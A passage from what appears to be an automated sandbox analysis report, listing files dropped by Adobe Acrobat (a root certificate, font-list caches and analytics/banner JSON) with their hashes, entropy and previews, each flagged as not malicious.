Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklo4AM4KN/ltfllXlE/HT8kn1NNX8RolJuRdxLlGB9lQRYwpDdt:kKxe4WteT8ANMa8RdWBwRd
MD5:	99DF8A8F3699590500DE1831D2DEDD6C
SHA1:	541309B82FD1378E2326D2E5B8655590552DBAF7
SHA-256:	95942ECD3719E2C1A2EE8BF25DA00C8F0BEEF9C16B20FFB10E7783F4140E9CC3
SHA-512:	20EF90F1DA6F073AAC3186C07CB0787978F12F348B8390D6B9AADDB291E81FFF916CC0ABE4EB91784583B2D23A8668FC7C3B94562D18CCF6266853BC0588C739
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....$z..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3164

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3164

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371786558382679
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJM3g98kUwPeUkwRe9:YvXKX1bi2Zc0v+C5GMbLUkee9
MD5:	890A40A5E596328CFA8C2F68DE7FBC62
SHA1:	E491501FBB910D924BBFA534981FA9C4EA276AB1
SHA-256:	ABBA0DC410B1D568E9A6E88C430894F45534B70BC9A773E1D352D828AE707902
SHA-512:	C4DDEC9A5FF27D483230A0481E282358E21FC71C5FD518B01B6EE8F36B3D0C20DA265B10BB9F38C459422E41DF9B1ACD81658283FDFAB7230EC4FA53BB6FCC37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.320337304702992
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfBoTfXpnrPeUkwRe9:YvXKX1bi2Zc0v+C5GWTfXcUkee9
MD5:	7ED5B1179E63B43C10FBB72081535A8B
SHA1:	135284C04015D9A203A3317E426F0478CE47BCF7
SHA-256:	2010D254639367D5CBA38334B7A8DBC2AF434302691BD0F5872AECB17C65140C
SHA-512:	03615B432326A052AD786145A9E09E66C2093BD4E7DFC3158AF3E979920F4BC7302488D6C387E78470FF286562DC013DC2E2C6689DE75D25F985F396A334D6C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300096632359988
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfBD2G6UpnrPeUkwRe9:YvXKX1bi2Zc0v+C5GR22cUkee9
MD5:	7DBC7B6CB5B8D1E592571B98DDF7F31F
SHA1:	0722D15957901447B6C1E0F6FD812070566C661A
SHA-256:	9BF18B30D3369A42AFD248C2549C0ECF6EF4C3B8CCEBEC0953E15A183459AA74
SHA-512:	8546D2C7C6E1AB50358B793A5CBE6D05BEFB46F96A092D63899A628E7475AEE632D12CE89C06B7B0F6B8ECCEFF468372B44D71260DD8E91B7D75D12AA2EA0D20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.359092614474873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfPmwrPeUkwRe9:YvXKX1bi2Zc0v+C5GH56Ukee9
MD5:	F6DFE166BBA24DF26F8B5B663FA158A1
SHA1:	61336E175BF522551C02A5EFA42FF3C1D6704D0D
SHA-256:	5508F0B711D0BFF546A57556F5CD3BFDFDAA19D7A8EF045314A4B67EE4522659
SHA-512:	69A66261A7093B62E184EBF46BC126DBBC967AF99278C4F47D247C6B19A990B2280C99CBE0881F440E5211FD6D3853038A8B4596442E7AEC7A659E8FDB3714D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690758345656995
Encrypted:	false
SSDEEP:	24:Yv6X1bi2zv+9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSz1:Yvhu29hgy6SAFv5Ah8cv/z1
MD5:	CEB6911B79940A3D1AFBDC073F648FAB
SHA1:	54F8A0CCC528F26831589BDFDC68EB40ECDEEF64
SHA-256:	B48EFC2C8604F4147B8873597B2E1948B4E514A94C0764642785A9F4A2A8DCA3
SHA-512:	236AB804BFE93102447DAA299EBBA149E00127D6679A16CE24A4AA9D12A733760811AD0C1051CE70C449461B843F7F7F70C65081E0C3AC342F85B977A6468CE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304836096540007
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJf8dPeUkwRe9:YvXKX1bi2Zc0v+C5GU8Ukee9
MD5:	5EA06ED1A630B484FFB5EEB6298C640A
SHA1:	68B9848E9C1073E5DBFC2FA5AEB943E31D8B7A07
SHA-256:	AF0890218608B6B731ED335F627EED5014DB4C8EAC830E5E8FD996D408400443
SHA-512:	6476B7BC35A91DC84EC710D878D2A814C254DE3AC8DED78FDDB2D2EA432A9F50A2EAA5DA05776BDB76C9BF8DA3E5C9B6223038F6DAFC6A638CEB9D8D55D5B1F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3084124195123525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfQ1rPeUkwRe9:YvXKX1bi2Zc0v+C5GY16Ukee9
MD5:	BE354D6F55CFB161EA73D6C252D15489
SHA1:	35E98BA80BF7BE829214312CB5D58687020944C9
SHA-256:	97B0CB6BDE55E0B6524805CA10AD55291A1589729AEE9BD7489E4520F0BAF724
SHA-512:	685AB6F9EAABF385A516FA4B137D791F69B608582ADF2657ECB68E08F873AC66FD10F339031778F618D612F811F8219967B3871F0E78B2EE9CB1F79F745630B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.31308332646885
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfFldPeUkwRe9:YvXKX1bi2Zc0v+C5Gz8Ukee9
MD5:	983775760A91461BD66309B0268E17F2
SHA1:	59C62BC4582A531FA0BBA3EF645C87EF4676D973
SHA-256:	C29BAF0DDCC54B35B46E02354A58A0B1167DF96BB0F0BA76476224D16269D2FC
SHA-512:	4D94047223DDD4FEFFB34FB8A1D5BAA318FAA1FFE50CEE4730E376CAC19752745E40EC5F15906A3F59F488186DEE12AE1BD393ED723FFA1A1C4C58C03C5EF4AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328950664029184
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfzdPeUkwRe9:YvXKX1bi2Zc0v+C5Gb8Ukee9
MD5:	46D7ABE93139A81E227BA9488FC5DC57
SHA1:	CC549C158708AC20C7391967651911153DFA24D3
SHA-256:	3519D50B1F6DD9AEADE63A6E3575E462B0AD323FD9EC41FC59DC064A338A4EDF
SHA-512:	46E8B0746C29B38390811A2EB63EA2326FEDB13E686329851D56FAED001AEABE6C80779DAB0AAD64EF0FCA376C4FCA7AEEE3E74E8D70C8BEDA2B7C15A1F130D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309793445760185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfYdPeUkwRe9:YvXKX1bi2Zc0v+C5Gg8Ukee9
MD5:	42BB1F73AA7F9BA7C1DD9FEEA8DFD532
SHA1:	9DE3E09F72193CA3196A686856167569604029E8
SHA-256:	A48ABACDA4DCAF38D483EF456E0996F7829F38B7A7F027F8A8C2D856FFAA35A5
SHA-512:	2F8F7E78DFF9F0EA52CB9D62DA0CAF1FBCC11C4DA9DCF391D52FB64AB3B99E60EDDDCD071F0F6E7C806C4D2B7BBC40D18565EE26280606341216A357BB8FBE61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29659759202324
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJf+dPeUkwRe9:YvXKX1bi2Zc0v+C5G28Ukee9
MD5:	41FC65FA9B75D7136131EF5C90840CCB
SHA1:	1865382EC025BFDCE981EBA760844A048238830C
SHA-256:	860D241DA1FEA2C5B2259E4FA1DA8D0A409979C53B73A232C93969FB4768BE75
SHA-512:	8868B7921E23EC39079D2824C8FBD1C544556FE223877CFE2694891C9B952ABEEB80744A00162900514F2122BCAE8D290C375A71EC3068F508A908046B74FFC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.29327323452848
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfbPtdPeUkwRe9:YvXKX1bi2Zc0v+C5GDV8Ukee9
MD5:	FDAA70CDE2B98985C88E8030E9A79225
SHA1:	D8BA0FFC5A7E45A5E93060CA71D70265C6ACF251
SHA-256:	6361F49AF8F510118670F29A5BBA806162D4BEC3EFB65D53450E34B7080D967E
SHA-512:	CA6BA6A66ED16B4A278409ABC61A70E81726E41A74C2A0526BBA607DF3C54BEC4E796AA89ACC567D44CB632AE93267D818E41BCC357680C838A33E771208C96B
Malicious:	false
